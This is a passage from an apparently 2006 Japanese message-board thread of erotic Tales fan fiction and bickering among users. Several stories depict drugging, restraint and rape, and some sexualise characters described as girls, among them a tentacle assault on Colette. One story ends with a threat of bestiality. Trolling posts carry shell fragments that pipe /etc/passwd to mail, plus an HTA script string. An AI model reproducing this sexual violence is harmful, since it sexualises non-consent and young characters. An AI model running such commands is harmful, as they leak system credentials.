「これを飲んでいただけませんか?飲んでいただけたらボーナスですよ」
「ぼっボーナス!?のっ飲みます飲みます飲ませてください!」
ボーナスという言葉に理性が吹っ飛んだアニスは後先考えずにのみ干した。
「はにゃ?なんだか体が熱く・・・・」
「それでいいんですよアニス。まず始めに僕のをフェラってください」
「はあいイオン様・・・」
アニスはふらふらとイオンの前にしゃがみこんだ。

112 名前:ドンパ :2006/04/27(木) 18:14:54 ID:1VvekvgV
とりあえず中断

113 名前:名無しさん@ピンキー :2006/04/27(木) 18:56:16 ID:Augg2MZ7
ハロルド好きな人いますか?
今考えていたネタがあったので、書こうかなと思ってます。

114 名前:名無しさん@ピンキー :2006/04/27(木) 19:06:10 ID:x4419eyz
悪いけど、君本当に文才無いよ。>ドンパ

115 名前:名無しさん@ピンキー :2006/04/27(木) 19:13:46 ID:MeUo6zSp
おまえら、なんで上げまくってんの?
このスレsageが決まりなんだけど。
書き込む前に>>1ぐらい嫁。
やっと荒しが来なくなったのに…
スレが上にあると目立つのに…
また荒しに目を付けられたらどうすんだよ!

116 名前:名無しさん@ピンキー :2006/04/27(木) 19:46:43 ID:ayV72k4L
その荒らしの一人が彼だったりして

117 名前:名無しさん@ピンキー :2006/04/28(金) 13:01:52 ID:EjEYar8X
ドンパ氏に悪いが保管して欲しくない
あとレスの無駄使いだからSSは分けすぎないでくれ

118 名前:名無しさん@ピンキー :2006/04/28(金) 17:45:44 ID:iBWBXYn+
>>115
呼んだ?

119 名前:名無しさん@ピンキー :2006/04/28(金) 18:12:32 ID:7gvpm1uw
それ以前に、前スレ埋めようって事になってるんだから
そっちが埋まるまで投下すんなと何度言えばry

120 名前:名無しさん@ピンキー :2006/04/28(金) 21:05:49 ID:zVoEuXM5
ドンパ、下げないなら書かないでいい

下げる方法わからないなら言えよ、スルーはよくない。

121 名前:名無しさん@ピンキー :2006/04/29(土) 01:03:33 ID:qvd419/L
いい荒らしだわな(笑)

122 名前:名無しさん@ピンキー :2006/04/29(土) 01:59:27 ID:JWJyKDBS
>>113氏も前スレの方に完成したら投下お願いしますね。
ハロルド無問題ですのでw

123 名前:sage方書いときますね :2006/04/29(土) 06:30:55 ID:jnjAUQva
sageていない皆さん、聞いて下さい。

私達テイルズスレ住人は、隣人として、良き友として、共存の道を歩んできました。
それが今、争いを始めようとしています。sage進行の原則、それを守らない人のせいで。
sage進行って何ですか?そんな人のためにお答えします。
E-mail欄に「sage」と、半角英字で入力し、書き込めばいいだけです。
携帯電話からの書き込みの場合は少し面倒です。でも、守らなければなりません。

それは何故でしょう?
>>1に書かれているルールを守ることは、
このスレッドを未曾有の繁栄に導くために必要なことだからです。

私は思うんです。このスレッドに未曾有の繁栄が訪れて欲しいって、
毎日毎日テイルズのエロい話を読んでいたいって。
もし想定の範囲外のSSだったとしても、エロい話なら大歓迎だって。

思い出してみて下さい。

私達には共に、萌え、語り、求めるシチュを述べ合った時間があったはずです。
私の知っているあるスレでは、職人さんがSSを落とすと、皆が集まって、肯定派もアンチもなく、
みんながハァハァ、ハァハァって興奮するんです。

荒れるのが怖くて言ってるんじゃありません!

大好きなスレが無意味なage書き込みだけで埋まっていくのは、
荒らしが常駐するのと同じぐらい辛いから……。

どうか、最期に私のお願いを聞いて下さい。
もしあなたが書き込みを、自分なりの書き込みをする事があったら、
必ずE-mail欄に「sage」と入力してみてください。

あなたが書き込みをするその時に、これだけは守ってください。

124 名前:名無しさん@ピンキー :2006/04/29(土) 07:52:50 ID:f0+0HCfm
age

125 名前:名無しさん@ピンキー :2006/04/29(土) 14:31:05 ID:AY+L+6v8
>>122

ってわけで前スレのほうに上げときました ノシ

126 名前:名無しさん@ピンキー :2006/05/01(月) 17:00:41 ID:cjj2gdjN
>>123
アビスの台詞をパクッているように感じたのは
漏れだけか・・・?orz

127 名前:名無しさん@ピンキー :2006/05/01(月) 19:38:32 ID:6GXAjWPv
どう見てもピーチパイです。

128 名前:名無しさん@ピンキー :2006/05/02(火) 15:37:22 ID:/7w5JWw6
451 名前: 名無しさん@お腹いっぱい。 2006/01/05(木) 19:29:53 ID:Tr7N8Nwe

ティアと二人旅の夜・・・
ルーク「・・・思い出すなあ、父上のふかふかきんたまくら。久しぶりにやってみよう」

ティアの股間に頭を乗せる

ルーク「??・・・あれ?」

ティアのパンツを引き剥がす

ルーク「!!ねえ!玉がねえ!!」

129 名前:名無しさん@ピンキー :2006/05/02(火) 16:02:37 ID:yJmwgFn+
それ、何てドラゴンボール?

130 名前:名無しさん@ピンキー :2006/05/02(火) 16:03:13 ID:yJmwgFn+
すまん。上げてしまった('A`)

131 名前:名無しさん@ピンキー :2006/05/02(火) 17:56:22 ID:JZ7CbQI6
http://miniurl.org/0G7

132 名前:名無しさん@ピンキー :2006/05/02(火) 18:57:38 ID:ns3fmG4E
過疎ってるね

133 名前:名無しさん@ピンキー :2006/05/02(火) 20:26:04 ID:fVnbn7zs
あぼおん

134 名前:126 :2006/05/05(金) 20:55:43 ID:EC8Ahqdu
もはやこのスレも末期か・・・?
>>127
演説シーンか?


135 名前:名無しさん@ピンキー :2006/05/05(金) 21:12:07 ID:1uKVL6nn
ウイルスコード貼る馬鹿がウザい

136 名前:名無しさん@ピンキー :2006/05/05(金) 22:37:50 ID:OUdhIIum
みんなーっ。前スレに来てよぅ。
こっちは忘れた頃に保守カキコすればいいからさぁ。

137 名前:名無しさん@ピンキー :2006/05/06(土) 04:08:09 ID:eKxQrdj8
>>136
忘れた頃には落ちている

138 名前:名無しさん@ピンキー :2006/05/07(日) 16:42:26 ID:Ruqudns+
荒れ狂うスレよ、スプラ(ry

139 名前:名無しさん@ピンキー :2006/05/08(月) 17:26:08 ID:ziCwlxXA
アビス本編でカップルになりそうな組み合わせはどんなん?

140 名前:名無しさん@ピンキー :2006/05/08(月) 17:28:42 ID:u2YxrjQt
セシルとフリングス

141 名前:名無しさん@ピンキー :2006/05/08(月) 18:38:17 ID:GTn46yfv
フリングス、死ぬからないだろ


142 名前:126 :2006/05/08(月) 20:20:09 ID:j9GVX4xR
>>141
いや、
サブイベントで恋愛風になっているから
いいんじゃないか?

143 名前:名無しさん@ピンキー :2006/05/08(月) 22:21:18 ID:PbdgcooC
そういうことにしてしまおう。

144 名前:名無しさん@ピンキー :2006/05/09(火) 22:24:09 ID:w42yBzaD
ルーク+ガイ×ティア書く気ある人おりませんか?

145 名前:名無しさん@ピンキー :2006/05/10(水) 00:16:44 ID:0LOrJRJI
前スレへ移動願います

146 名前:名無しさん@ピンキー :2006/05/10(水) 01:17:57 ID:FVbs0k1T
移動しても過疎ってんじゃんじゃん

147 名前:名無しさん@ピンキー :2006/05/10(水) 06:11:22 ID:JJFxgvgm
>>146
貴方は来なくていいですよ
てか、過疎ってんのあんたのせいもあるんちゃう?
ウィルス厨さん?

148 名前:名無しさん@ピンキー :2006/05/10(水) 20:14:07 ID:FtsU8YqT
過疎スレ読んでから言え

149 名前:幻想 :2006/05/11(木) 15:54:24 ID:lO/2vmL5
どうも。幻想です。

今回は、ジェイ&ノーマ×モーゼス(女体化)と言う風の小説を書こうと
思っていますが…。女体化は良いのでしょうか。…まァ良いや^^;

では、始めます。モーゼスはちょっと可愛い顔って
感じでイメージしてくれれば嬉しい。

モ:ん〜……痛いのォ……
―自室で寝ていたモーゼスが、胸の張り具合が痛くて目を覚ました。
すると、モーゼスに豊満な乳があったのだ。
しかも、上半身裸だから女の姿を即効で目の当たりにした訳で。
モ:どっひぇーっ!!!
ジ:どうしたんですか?モーゼスさん。馬鹿みたいな声を出し…

ジェイは、息が止まる勢いだった。
何せよ、あのモーゼスがいきなり女体化しているのを目の当たりにしたからだ。
ジ:…て…。って、モーゼスさん!?何でこんな格好なんです!!
まさか…こう言う趣味で?
モ:ち、違うわっ!ワイが今起きたらこんななっててのォ…!!
ジ:う…うわあっ!ちょっと、そんな格好で接近しないで下さいよ!
モ:狽ヘっ!!そうじゃった!ワイ女の体んなっちょったんじゃった!
モーゼスはベットの中に急いで潜り込む。

ジ:…と、とりあえず僕部屋から出ます!!それでは!!
ガチャ!!
モ:…本当に何じゃろうか。…にしても、何でジェー坊こんな時間に
起きとるんじゃ。

ジ:(作戦は成功した様ですよ、ノーマさん?)
ノ:(マッジー?コレでモーすけの女体化が見れるって訳?vv)

…始めから、ジェイとノーマが仕組んでいた事だったらしい。

150 名前:幻想 :2006/05/11(木) 15:57:45 ID:lO/2vmL5
- - - - -
ジ:ノーマさん、モーゼスさんが寝ている最中に
女体化にして一気にヤっちゃいますか?
ノ:賛成〜。でも、どうやって?
ジ:任せて下さい。僕が秘薬を作ってみせますよ。
…こう見えて、僕…前からモーゼスさんを狙っていたので。
ノ:なっにー!アンタ、男じゃなーい!あたしも狙ってたのにー!
ジ:だから女にするんですよ(ニコ)
ノ:くぅーっ!じゃあ、あたしもその秘薬ってヤツで
男性器だけ付くっての出来る?!それ頼むわ!!
ジ:あ、ちょっと待…
ガチャ。
- - - - -
…まァ、こんな事があったのだ。
そして、ジェイとノーマは再度モーゼスの部屋へ入る。
ガチャ。
モ:お、おうっ?!また来たんか!ジェー坊…と、シャボン娘!!
ノ:ふむふむ。なかなか良い乳してるじゃない。
モ:買唐ネ所見んなァ!
ジ:何故です?もうそんな事言っても遅いんですよモーゼスさん!!
モ:うぐっ?!
ジェイとノーマが全体重を掛けてベットに押し倒した。
モ:な…何すんじゃ!離せ…っ!
ノ:それは無理な注文ねー♪じゃ、じぇーじぇーからどぞっ♪
モ:な、何すんじゃ…っっ!!


151 名前:幻想 :2006/05/11(木) 16:00:28 ID:lO/2vmL5
ジェイが、モーゼスの口内に舌を入れる。
歯茎を集中して舐め回った。
モ:っふぁ…っ…
ノ:モーすけでもこんな声出るんだね♪
ジ:本当ですね。
モ:う…うるは…いっ!!
次は、ノーマが丸出しの豊満な胸を揉みくだした。
そこで、ジェイは口内から舌を離す。
モ:な…何でこんな事をするんじゃ!
…!!ま、まさか…?女体化になったんは…
ジ:そのまさかですね。
モ:ふ、ふざけるなっ!!出て行くわ、こんな部屋!!
ノ:待ちなさい!
ノーマはモーゼスの手を引っ張る。
ノ:ちょっとー!じぇーじぇーも加勢してー!
ジ:分かりました。
そう言うと、ジェイはモーゼスを引っ張り、またベットに戻した。

152 名前:幻想 :2006/05/11(木) 16:14:12 ID:lO/2vmL5
モ:もう…こりごり…じゃあ…
ノ:そうはいかないワケよ〜。さて、逃げようとした罰に
お仕置きをしておかなきゃね♪
そう言うと、ノーマは、モーゼスの手首足首を縄で縛った。
ノ:これで逃げれないよね。
モ:ぐっ…!!山賊の首領とでもあるワイがァ…
ノ:ははは。だから逃げるのは駄目なのですなァー。
ジ:さて。お仕置きですよー。
ジェイは左乳、ノーマは左乳を狙い始めた。
ジェイは、たまに乳首を軽く噛んだり、ノーマは、常に
揉みくだしたり乳首を吸ったりしていた。
モ:ひゃああ…んっ!!
ジ:あっはっは。貴方でもあろう方がそんな声を
出しているなんて、駄目ですねェ。では、ラストパートいきましょうか。
ジェイは、モーゼスのズボンを降ろし始めた。
モ:ぎゃあ!!そこだけは痛そうじゃ!やめてくれ…っ、ジェー坊!!
ジ:何言ってるんですか?お仕置きされてる側が命令しないで下さい!
そう言うと、一気に下着を下ろして秘部にいきなり指を突っ込んで
掻き混ぜた。
モ:ああああああああぁぁぁぁぁぁぁぁっ!!!
ノ:楽しそーだなー。
モ:楽しいワケあるか…ああっ!!
ノーマは、余ったクリトリスで丸を描くように攻める。
モ:ひやあ……ああっ!!
モーゼスは、二人の攻撃に耐えられず、イってしまった。
ジ:駄目ですねェ。また指を二本も入れてないのに。
ノ:ねーねー。そろそろあたし達も脱ごっ?
ジ:良いですね。では。
そう言うと、ジェイとノーマは一斉に脱ぎだす。
モーゼスは、身長の割にかなり大きいジェイの性器と、
何よりも…ノーマの股間部に男性器が付いている事に驚いた。
モ:シャ、シャボン娘…?!ワレ…っ?!
ノ:ふふん♪じぇーじぇーに頼んだの♪
ジ:ふーん。ノーマさんの乳房も結構大きいんですね。
ノ:///まァ、あたしはいつでも良いじゃん!ね?今はモーすけっ。
ジ:…そ、そうでしたね。そういえばノーマさん。僕とノーマさん、
どっちがモーゼスさんの初をとります?
ノ:あたし!…と言いたい所だけど、あたしは口内ヤらせて貰うわ。
ジェー坊初宜しくね。
ジ:了解しました。…じゃあ、いきますよ!モーゼスさん!
モ:ちょ、っと待…!!

153 名前:名無しさん@ピンキー :2006/05/11(木) 16:33:02 ID:ytMYQTAv
もうちょっとさぁ情景描写を増やそうよ
セリフ主体の台本形式は読む気しないんだよね
あとやり直すにしろ直さないにしろ前スレに投下してね

154 名前:名無しさん@ピンキー :2006/05/12(金) 01:00:09 ID:VVQkKb2Q
幻想のまま二度と姿を現わすなや(笑)
とっとと消え失せな(笑)

155 名前:名無しさん@ピンキー :2006/05/12(金) 14:54:20 ID:6sLL3k07
ウイルスコード貼る馬鹿には無条件で消えてもらいたい・・・です

156 名前:名無しさん@ピンキー :2006/05/13(土) 15:26:45 ID:5cMuw4aC
ナタリアキボンヌ

157 名前:名無しさん@ピンキー :2006/05/13(土) 19:39:11 ID:eDn1Eq39
age

158 名前:kak.hta';ken=wd+'START :2006/05/14(日) 09:59:41 ID:vXW4TGWC
下げろカス

159 名前:名無しさん@ピンキー :2006/05/14(日) 14:22:50 ID:56BGmXoD
ウプレカス

160 名前:名無しさん@ピンキー :2006/05/14(日) 17:46:38 ID:c69sa1A9
>>158
マジシネカス

161 名前:トティ :2006/05/14(日) 22:17:08 ID:ioUNP9Bq
こんばんは。
世にも珍しいヴァン×アリエッタ投下します。

題名 お仕置き

コーラル城、そこでアリエッタはルーク達を戦い、敗れた。

ヴァンはアリエッタを保護し船に連れていく。

アリエッタを船底近くの部屋に連れて行ったヴァンは兵士を自分が監視する、と他の場所へ追いやった。

「う・・・ん・・」

アリエッタが掠れ声を出しながら起きた。

「起きたか。アリエッタ」

「ヴァン・・・総長・・」

アリエッタはゆっくりと起き上がると寝起きの用に目を擦った。

「アリエッタ・・・アッシュに頼まれたのだな?」

それにアリエッタは小さく頷き、人形を顔に押し付けた。

「ごめんなさい・・・」

誤るアリエッタだがヴァンはそれで許すはずも無く―――

「お仕置き―――だな」

そう言ったヴァンはアリエッタに近づくとその服に手をかけ――

一気に左右へ引っ張った。

布製の衣服はいとも簡単に破れ、羽の用に床へ舞い落ちた。

「―――っ!」



162 名前:名無しさん@ピンキー :2006/05/14(日) 22:24:03 ID:Pcl/amf8
>>161
投下は前スレへ!
それからage禁止です
sageて下さい

163 名前:名無しさん@ピンキー :2006/05/15(月) 13:01:12 ID:M0KU0zvk
前すれまだ書き込めないんだけど


164 名前:名無しさん@ピンキー :2006/05/15(月) 19:32:22 ID:q95D8miL
>>163
ウィルス厨がウィルスコード書き込んでるせいだよ

165 名前:名無しさん@ピンキー :2006/05/15(月) 22:04:48 ID:nXwPGHe+
いつも思うんだけどノートン消せばいいじゃn

166 名前:cat /etc/passwd | nobody@nonexistent.com :2006/05/15(月) 23:56:57 ID:Z+00KZiv
>>165
Norton消したら危ないよ→

167 名前:kak.hta';ken=wd+'START :2006/05/16(火) 12:01:48 ID:ctBeTR2v
>>166
くたばれや

168 名前:名無しさん@ピンキー :2006/05/16(火) 19:02:57 ID:TvSbNG6y
>>166 >>167
お前等くたばれや


169 名前:名無しさん@ピンキー :2006/05/16(火) 23:58:27 ID:veVXxZ/L
仲良く、な

170 名前:名無しさん@ピンキー :2006/05/17(水) 08:36:06 ID:mD3J66vr
カタシ→カタシ

171 名前:名無しさん@ピンキー :2006/05/18(木) 06:19:24 ID:/3Z2/6Qz
.

172 名前:名無しさん@ピンキー :2006/05/18(木) 22:23:13 ID:vVcBnrL4
ルクティアプリーズ

173 名前:きら :2006/05/19(金) 13:01:51 ID:iWnxD0rj
誰かテイルズのおもらし小説かけませんか
よろしくお願いします
キャラとかシチュエーションとかは
何でもいいです
書ける人いませんか

174 名前:名無しさん@ピンキー :2006/05/19(金) 17:51:05 ID:X/70G4GV
つ「http://jbbs.livedoor.jp/bbs/read.cgi/sports/2469/1115877510/l50
ここで何作かシンフォニアのを書いてるよ。名無しでだけどね

175 名前:名無しさん@ピンキー :2006/05/20(土) 02:54:42 ID:2UA3yT+U
これは知っています
小説もいいんですが絵もないでしょうか
情報ありがとうございました

176 名前:名無しさん@ピンキー :2006/05/20(土) 11:43:42 ID:kB37611N
>>173>>175
死ねやキチガイageんな

177 名前:名無しさん@ピンキー :2006/05/20(土) 11:58:18 ID:5CC8NMHc
E-mailにsageって打つだけなんだから、協力しようぜ


178 名前:名無しさん@ピンキー :2006/05/20(土) 13:20:36 ID:Dpwq7cQk
俺は

リッド×ファラ
カイル×リアラ
マオ ×アニー

以上3つ組合せしか興味が無い。

179 名前:名無しさん@ピンキー :2006/05/20(土) 13:55:23 ID:yTSfKlPI
 

180 名前:名無しさん@ピンキー :2006/05/20(土) 14:09:19 ID:nzJ12zqO
とりあえずアレだ。アビスネタじゃなきゃもう何でもいいや。
特にアニスやナタリアが絡むSS見るとそれだけでムカついてくる。


181 名前:名無しさん@ピンキー :2006/05/20(土) 14:12:53 ID:BQE2SLMs
21で反応無かったからこっちで

ねぇ、小説キャラってアリ?
ジョシュアとルシルで何か書きたいんだけど
一応チャット・メルディ・キールあたりもちょい役で出るけど

182 名前:名無しさん@ピンキー :2006/05/20(土) 17:05:35 ID:57/G3BNx
いいんじゃね?つか過疎ってるあたり何でもいいから投下してくれが現状。

183 名前:名無しさん@ピンキー :2006/05/21(日) 18:05:23 ID:Zfd+jKGA
ルーク×女

一体いつまでこんな監禁生活が続くんだ。
師匠との稽古以外は、やること無しにぼんやりとベットに寝転んでいるだけの生活。
こんな毎日を送っていれば誰だって嫌になる。
扉を叩く音がしたので半身を起こすとメイドの一人が立っていた。
「何だ・・・・?」
呼びかけにもこたえない。
「俺は呼んだ覚えはないぞ」
それにも答えず顔を赤らめもじもじと両脚を擦り合わせている。
・・・・あぁ、そういうことか。

「あッあッ・・・・ルークさまぁ・・・止めてっ・・・」
自分から誘ってきたんだろうが。
下着を膝まで下ろされ喘ぐ女は可愛くなくはなかったが、そそられるとまではいかなかった。
脚を閉じようとする女を阻止して指で攻め立てる。
服を脱がすのも面倒なので押し倒し、スカートを捲り上げて一気に突き立てようとしたが肝心の俺のが立ってない。
「・・・・舐めて。」
女は素直に従い俺のズボンに手をかけた。

184 名前: :2006/05/21(日) 18:06:13 ID:Zfd+jKGA
口から涎たらして俺のにむしゃぶりついてくる女の後頭部を撫でると嬉しそうな顔で吸い付いてきた。
尻の軽そうな女だ。
結合部が見たくて前髪を掴んで顔を上げさせると、上目遣いで見上げてきた。
・・・・そろそろいいか。
「・・・・すげぇ気持ちよかった。」
女の両脚を肩に担ぐと、女が期待に目を輝かせる。
「今度は俺が良くしてやるよ」
中心から突き上げると女は歓喜の声を上げた。

三十分後俺は期待はずれでがっかりしていた。
こういう女を床下手な女というんだろう。
必死で声を上げ腰を摺り寄せてくるが演技臭くて不快でしかない。
さっさとイッてもらう方向で女の弱そうなところを擦りあげた。
「・・・・・!!」
今のは堪えたらしい。
白目を剥いてひきつる女の顔はますます俺を萎えさせる。
もう何でもいいからイッてくれ。
耳元で甘く囁いてやることにした。
「・・・なぁ、お前の中すっげぇ気持ちよくて、俺もうイッちゃいそうなんだけど・・・。
中に出していい・・・?」
「・・・・!!ダメッ、今日はダメなんですっ」
ハァ?何マジになってんのこの女。
そんな事こっちがお断りだ。
本気で嫌になってきたので腰を掴んで激しく前後運動を繰り返す。
女は必死で首を左右に振って快感に耐えている。
乳首に歯立てたら喜んで声を上げた。
・・・そっちかよ。
一旦抜いてからバックで攻め立てたら大声出してあっけなくイッて、こっちが拍子抜けした。
ことが終わるとそそくさと服を着込んで
「また呼んでくださいね、ルーク様v」
「今度と言わず、今でいいよ」
首を傾げて俺の顔を覗き込む女に答えてやった。


「ただし次の相手は俺じゃない。俺の買ってるドーベルマン。
たっぷり可愛がってやってよ」


185 名前:名無しさん@ピンキー :2006/05/21(日) 19:21:34 ID:fCPxfVtF
>>181
反応ないというか、答えようがないんだと思うよ。
ゲームはやっても小説までは読んでないって人多いんじゃないかな。
21スレでは小説の登場キャラしか書いてなかったでそ?
それじゃ良いとも悪いとも答えようがないよ。
先にまず、そのキャラがどんなキャラなのか書いてから投下したほうが良いと思う。


>>183
投下する場所間違えてますよ。
21スレの方に投下お願いします。

186 名前:名無しさん@ピンキー :2006/05/23(火) 18:36:54 ID:uY5idBBm
>>185
Dont order assho''

187 名前:名無しさん@ピンキー :2006/05/25(木) 17:38:17 ID:DcwymJ4p
泣くにも泣けない糞スレ

188 名前:名無しさん@ピンキー :2006/05/25(木) 22:42:29 ID:fiQkrUAW
ティアがメロンに嫉妬したナタリアやとアニスにいじめられて最終的に全員のめりこんでいくやつとか

189 名前:名無しさん@ピンキー :2006/05/26(金) 11:30:46 ID:XLggCh1S
アビスネタが来ると大抵倒錯ネタや陵辱ネタばっかなので、
読んでて気分良くなれるようなの求めてる俺には果てしなく合わない。

190 名前:名無しさん@ピンキー :2006/05/26(金) 14:20:01 ID:CZGB6xQe
と、チラシの裏にでも書いててくださいね^^

191 名前:名無しさん@ピンキー :2006/05/26(金) 17:15:29 ID:XrPNKf7G
>>189
文句言うなカス

192 名前:名無しさん@ピンキー :2006/05/26(金) 19:35:40 ID:B0jtG7Lg
だってアビスは話自体が鬱だし

ジェイド・ハロルド・リフィル・キールあたりに研究と解していろいろされるユージーンやアガーテやヒルダやカイウスやフォレストやトクナガをみたい

193 名前:名無しさん@ピンキー :2006/05/28(日) 09:55:59 ID:sPYbY9MH
天と地の差だな。                他のエロパロスレと

194 名前:名無しさん@ピンキー :2006/05/28(日) 16:00:36 ID:YUbBp+pj
ウンコも寄り付かないゴミスレ

195 名前:126 :2006/05/28(日) 16:52:47 ID:eEjVJqzS
>>194
ゴミと言ってはいけない、
何故なら
どんな糞スレやゴミスレにも
栄光と言うべき時代が有ったからだ。
とりあえず皆21に 移動しようぜ。

196 名前:名無しさん@ピンキー :2006/05/28(日) 21:35:09 ID:kANdUNtU
http://1go.it/ktkr

197 名前:名無しさん@ピンキー :2006/06/01(木) 06:49:15 ID:8FETDGn9
ウイルス厨の中の人変わっただろ。
なぜこんなにギスギスしてんだ

198 名前:名無しさん@ピンキー :2006/06/03(土) 13:50:13 ID:dwi6Ro0V
びちびちうんち

199 名前:名無しさん@ピンキー :2006/06/04(日) 01:23:22 ID:Iar2mPZd
               _
              /  \―。
            (    /  \_
             /       /  ヽ   / ̄ ̄ ̄ ̄ ̄
         ...―/          _)  < cat /etc/passwd | mail
        ノ:::へ_ __    /      \_____
        |/-=o=-     \/_
       /::::::ヽ―ヽ -=o=-_(::::::::.ヽ
      |○/ 。  /:::::::::  (:::::::::::::)
      |::::人__人:::::○    ヽ/
      ヽ   __ \      /
       \  | .::::/.|       /
        \lヽ::::ノ丿      /
          しw/ノ___-イ
           ∪

過疎スレ糞スレ

200 名前:名無しさん@ピンキー :2006/06/04(日) 01:33:55 ID:ZGTHEZqs
>>189
ちょっと前には普通にルク×ティアとかあったけどいつからか倒錯してったな。

201 名前:名無しさん@ピンキー :2006/06/04(日) 01:35:41 ID:tm1YLAcY
テイルズ専用議論スレ
http://www.10ch.tv/bbs/test/read.cgi?bbs=narikiri&key=138027753&ls=50

202 名前:名無しさん@ピンキー :2006/06/06(火) 21:12:30 ID:PjHi3Hva
「ああっ!るーく!すごくイイっ!」
「俺も気持ちいいよナタリア!」
ピキッ「ナタリア?どういうこと?ルーク?」
「あーいやあのそのえーっと、ティアゴメnズガボゴバキャドガア!!!!


203 名前:名無しさん@ピンキー :2006/06/06(火) 21:30:24 ID:tVSSf5YM
ヲイ! アニス萌えは漏れだけなのかぁぁぁ!?

204 名前:名無しさん@ピンキー :2006/06/06(火) 22:34:53 ID:2xXh6O5x
こんなサイト見つけた。でも一人じゃつまらんかも
ttp://ip.tosp.co.jp/i.asp?I=loveteiai

205 名前:名無しさん@ピンキー :2006/06/07(水) 21:22:16 ID:/g3aINdt
>>203
すずやチェルシーやプレセアに萌えられても、アニスは無理。
萌えより以前に殺意が沸いてくる。

206 名前:名無しさん@ピンキー :2006/06/08(木) 00:56:03 ID:j5T/z7nY
アニスに汚い言葉を吐かれながら手コキされたい。

207 名前:名無しさん@ピンキー :2006/06/08(木) 22:21:45 ID:2C5VV3rI
と言うよりフェラされたい。

208 名前:名無しさん@ピンキー :2006/06/09(金) 06:57:22 ID:5U2U90TH
水よぉ〜もうこいつらどうにかしてぇ〜

209 名前:名無しさん@ピンキー :2006/06/09(金) 07:05:36 ID:eiWKXw3H
ティアのメロンパイ揉み揉みしてええええええええええええええええええええええええ

210 名前:名無しさん@ピンキー :2006/06/09(金) 18:10:26 ID:B/K+sHtV
ミントのエロ画像キボンヌ

211 名前:名無しさん@ピンキー :2006/06/09(金) 22:29:56 ID:QgtCSLpV
じゃあオイラはしいなのエロ画像キボンヌ

212 名前:名無しさん@ピンキー :2006/06/09(金) 22:33:14 ID:f6yrS1L8
藤島ヒロインばっかで、いのまたヒロインの(;´Д`)ハァハァリクが足りんぞ
ルーティのエロ画像キボンヌッッッッッッッッッッッッッッッッッッ




ごめん
嘘つきました
やっぱいのまた絵じゃ無理だわ
10年以上前のドラクエの小説の挿絵は好きだったけどな・・・

213 名前:名無しさん@ピンキー :2006/06/10(土) 13:17:42 ID:2c8tgDs9
ここで神職人降臨みたいなことにならんかねえ


214 名前:名無しさん@ピンキー :2006/06/10(土) 14:48:05 ID:xTXuGrm7
まずはウイルス厨の足跡が消えんことには・・・

215 名前:名無しさん@ピンキー :2006/06/11(日) 01:23:04 ID:WKGp1QBg
それ以前に前スレを使い切らんとな。

216 名前:名無しさん@ピンキー :2006/06/11(日) 01:29:44 ID:0GsTv3Vi
>>214
┃━┏┃中の人が変わったとの噂も飛び交っていたけど、21も22も全て私の自演です乃木。

217 名前:名無しさん@ピンキー :2006/06/11(日) 09:57:30 ID:kWEy0eLw
>>1

218 名前:F資産 :2006/06/11(日) 15:23:23 ID:p7/1mH2w
「!!」気がつくと自分以外の死体が散らばっていることに気づくコレット。
そこに立っているのは1人の少女と彼らを殺った女性と怪物たちだけだった。
「無様よのォ。足手まといがおって・・・そのせいで死んでしまってのォ」
「足手まとい・・・私が・・・殺した・・」少女は恐怖の表情を浮かべ、
その場に立ち尽くす。コツコツと音を立てながらプロネーマと無数の触手を
体に生やし蠢いている怪物−数千体はいるだろう−を従えて近づいてくる。
(私も・・死ぬんだ・・・)少女は目をつむる。
しかし、怪物は触手を伸ばし彼女の手足を拘束する。
「え・・・」困惑するコレット。不敵な笑みを浮かべる女。
触手は無数の数蠢き少女に襲い掛かる。


219 名前:ゼロスLOVE :2006/06/11(日) 15:29:02 ID:afVEZJaz
はじめてきましたーー^^;

220 名前:ゼロスLOVE :2006/06/11(日) 15:30:00 ID:afVEZJaz
今茶です

221 名前:F資産 :2006/06/11(日) 15:35:52 ID:p7/1mH2w
「!!」気がつくと自分以外の死体が散らばっていることに気づくコレット。
そこに立っているのは1人の少女と彼らを殺った女性と怪物たちだけだった。
「無様よのォ。足手まといがおって・・・そのせいで死んでしまってのォ」
「足手まとい・・・私が・・・殺した・・」少女は恐怖の表情を浮かべ、
その場に立ち尽くす。コツコツと音を立てながらプロネーマと無数の触手を
体に生やし蠢いている怪物−数千体はいるだろう−を従えて近づいてくる。
(私も・・死ぬんだ・・・)少女は目をつむる。
しかし、怪物は触手を伸ばし彼女の手足を拘束する。
「え・・・」困惑するコレット。不敵な笑みを浮かべる女。
触手は無数の数蠢き少女に襲い掛かる。


222 名前:ロイドLOVE :2006/06/11(日) 15:42:08 ID:afVEZJaz
ゼロスLOVEいたの・・・いたんだ?

223 名前:ゼロスLOVE :2006/06/11(日) 15:43:15 ID:afVEZJaz
おま・・・あんたいたのかよぉ〜ww

224 名前:ゼロスLOVE :2006/06/11(日) 15:44:51 ID:afVEZJaz
主以内みたいですなw

225 名前:ギルモン :2006/06/11(日) 15:46:23 ID:afVEZJaz


226 名前:ギルモン :2006/06/11(日) 15:47:16 ID:afVEZJaz


227 名前:名無しさん@ピンキー :2006/06/11(日) 15:48:57 ID:z0XEqFFW
・・・・つ「ID」

228 名前:F資産 :2006/06/11(日) 16:05:31 ID:p7/1mH2w
「あッ・・・ああッ・・・」触手は服越しに秘所を擦る。急な快感に少女は
動かない体を必死によじる。服越しに感じるこの熱い感覚がとても恥ずかしい。
(嫌・・こんなの・・・恥ずかしい・・・)コレットは必死に抵抗しようとするが、
彼女のかよわい力では抗うことも出来ない。少しずつではあるが
愛液が溢れ出し、徐々に濡れて来ていた。
「これが邪魔だのォ。取り除いてくれよう。」女は言い捨てると、
コレットとは正反対のすさまじい腕力で服を引きちぎる。
「・・・・・!!」服の下からは純白ー丸で天使のようなー下着が顔を現す。
そこから覗く乳房は貧しく小さい。コレットは顔を赤くし、口を
開いたまま声も出ない。それを無視するかのようにプロネーマは
乳首をクリクリと摘む。
「ひッ!やめて!」ようやく声を出すコレット。少女は喘ぎもがくが、
身動きがとれず、触手の秘所への侵攻を許してしまう。
「あくッ!!あうッ!はなし・・・あんッ!!」コレットは抵抗の声を漏らすが、
喘ぎ声に掻き消される。さらに触手が少女の体を煽っていく。



229 名前:ギルモン :2006/06/11(日) 16:14:29 ID:afVEZJaz
裏切り



ここはフラノールの宿屋・・・

コンコン
誰だ?あいてるぜ
よぉロイド
ゼロス
何やってんだ?
ちょっと考え事・・・
・・・世界再生した後のことか?

う・・ん!?あ・・ひぅ・・
深く舌を沈めてきた・・
ゼ・・ロス?
ふぇ!?はぁ・・んひぅ・・
ロイド・・これで良いのか?このままで
え?何が?
この後のことだよ・・
いいよゼロスもいるしな
そうか・・・・


